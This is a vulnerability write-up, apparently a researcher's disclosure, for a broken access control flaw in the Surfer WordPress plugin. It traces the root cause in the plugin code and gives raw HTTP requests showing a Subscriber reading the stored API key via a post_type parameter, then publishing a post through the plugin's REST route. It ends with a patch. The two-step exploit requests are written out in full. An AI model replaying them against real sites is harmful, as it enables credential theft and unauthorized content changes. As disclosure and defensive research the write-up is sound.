CVE-2026-112222: Broken Access Control in Surfer WordPress Plugin
| CVE | CVE-2026-112222 |
| Plugin | Surfer (surferseo) |
| Affected | <= 1.8.0.744 |
| Fixed in | 1.8.1.759 |
| Severity | CVSS 5.4 Medium |
| Attacker needs | Subscriber account |
| Advisory | Patchstack |
| PoC | Mor-Golan/CVE-2026-112222 |
Summary
The Surfer plugin prints the site’s stored Surfer API key, the wpsurfer_api_access_key option, into the HTML of WordPress admin pages.
The only check in front of that code is a post_type value that comes straight from the request.
I found that any logged in user, including a Subscriber, can open /wp-admin/profile.php?post_type=post and read the key from the page source.
The same key is the bearer token that the plugin’s own surferseo/v1 REST routes accept, and in my lab a Subscriber used it to publish a post on the site.
Root cause
Keyword_Surfer::__construct() in includes/surfer/class-keyword-surfer.php hooks its script loader on the global admin_enqueue_scripts action.
That action fires on every admin page, including the profile page that every Subscriber can open:
add_action( 'admin_enqueue_scripts', array( $this, 'include_keyword_surfer_scripts' ) );
The constructor is reached from Surfer::import_features() and Surferseo::import_general_imports(), and nothing on that path checks a capability.
The only guard inside include_keyword_surfer_scripts() looks at the post type of the current screen:
$screen = get_current_screen();
if ( ! in_array( $screen->post_type, surfer_return_supported_post_types(), true ) ) {
return;
}
WordPress core’s WP_Screen::get() fills $screen->post_type from $_REQUEST['post_type'], so the attacker controls it. surfer_return_supported_post_types() returns public post type names such as post and does no capability check of its own.
Adding ?post_type=post to any admin URL the user can already load is enough to pass the guard.
Once past the guard, the plugin localizes a wpsurfer JavaScript object into the page with wp_localize_script().
In includes/surfer/class-surfer.php that object carries the stored key:
'api_key' => get_option( 'wpsurfer_api_access_key', null ),
'surfer_ajax_nonce' => wp_create_nonce( 'surfer-ajax-nonce' ),
This key is also what the plugin’s own REST API trusts.
In the same file, verify_request_permission() is the permission_callback for six surferseo/v1 REST routes, /import_post/ among them, and it accepts any request whose bearer token matches the option:
public function verify_request_permission( $request ) {
$received_token = $this->get_bearer_token();
$saved_token = get_option( 'wpsurfer_api_access_key', false );
if ( null !== $received_token && false !== $saved_token && $received_token === $saved_token ) {
return true;
}
return false;
}
Other classes in the plugin guard the same screen condition more tightly. class-surferseo.php also requires 'post' === $screen->base, and class-surfer-admin.php keys on $screen->id. Keyword_Surfer checks neither.
Proof of concept
Preconditions: the plugin is active and the site is connected to Surfer, so the option holds a key.
Connecting is the plugin’s main purpose, so this is the normal state of a working install.
In my lab I seeded the option with the canary value SURFER-KEY-CANARY-4f91c7a3e2.
I tested Surfer 1.8.0.744 on WordPress 7.0.2 and PHP 8.2, with Surfer as the only active plugin.
Step 1. Log in as a Subscriber and request the profile page with the extra parameter:
GET /wp-admin/profile.php?post_type=post HTTP/1.1
Host: localhost:8080
Cookie: wordpress_logged_in_<hash>=<subscriber session cookie>
The response is HTTP 200 and the page contains the localized object with the key:
<script id="surfer-general-js-extra">
var wpsurfer = {"ajaxurl":"http://localhost:8080/wp-admin/admin-ajax.php", ... ,"organization_name":"","api_key":"SURFER-KEY-CANARY-4f91c7a3e2","connected":"", ... };
The value matched the stored option exactly.
I ran two controls on this step.
The same Subscriber on the same page without ?post_type=post got HTTP 200 and no key in the page, so the parameter is what opens the code path.
The same request as an Administrator also returned the key, which confirms the probe reaches the plugin code.

Step 2. Send the key to the plugin’s own REST route as a bearer token:
POST /wp-json/surferseo/v1/import_post/ HTTP/1.1
Host: localhost:8080
Authorization: Bearer SURFER-KEY-CANARY-4f91c7a3e2
Content-Type: application/json
{"content":"<p>PWNED-BY-SUBSCRIBER</p>","title":"PWNED-BY-SUBSCRIBER","metadata":{"postStatus":{"value":"publish"},"postType":{"value":"post"}}}
{"post_id":16,"edit_post_url":"http:\/\/localhost:8080\/wp-admin\/post.php?post=16&action=edit","post_url":"http:\/\/localhost:8080\/16-2\/","post_status":"publish","modified_at":"2026-10-04","url":"http:\/\/localhost:8080"}
I ran two controls on this step as well.
The same request with no Authorization header returned HTTP 401 rest_forbidden and the posts table showed nothing was written.
A wrong bearer token also returned HTTP 401 rest_forbidden.
Only the leaked key produced the 200.
The script in the PoC repo performs step 1.
It logs in as the Subscriber, runs the no parameter control first, extracts the key, and prints the step 2 request without sending it:
./poc-surfer-subscriber-reads-api-key.sh http://localhost:8080 subscriber 'subscriber-password'
Impact
What I demonstrated in the lab:
- A Subscriber, the lowest WordPress role, read the site’s stored Surfer API key from an ordinary admin page.
The value was identical to the stored option. - Using only that key, the Subscriber called
POST /wp-json/surferseo/v1/import_post/and created post 16 with statuspublish.
I confirmed this by reading the posts table before and after the request. - No action by an administrator or any other user was needed at any point.
Both requests come from the attacker.
The key also authenticates five other surferseo/v1 routes.
I did not test those routes and I am not claiming anything beyond the two steps above.
Fix
Update Surfer to 1.8.1.759 or later.
The patch I suggested in my report adds a capability check before the screen check, since $screen->post_type is supplied by the user and cannot act as a security boundary:
public function include_keyword_surfer_scripts() {
+ if ( ! current_user_can( 'edit_posts' ) ) {
+ return;
+ }
$screen = get_current_screen();
I also recommended not printing the token into page HTML at all.
The front end needs to call the REST routes, not hold their bearer token, so disclosing a page should never disclose the credential.
Timeline
- 2026-10-04: I found the issue and confirmed it in my local lab.
- 2026-10-19: CVE published.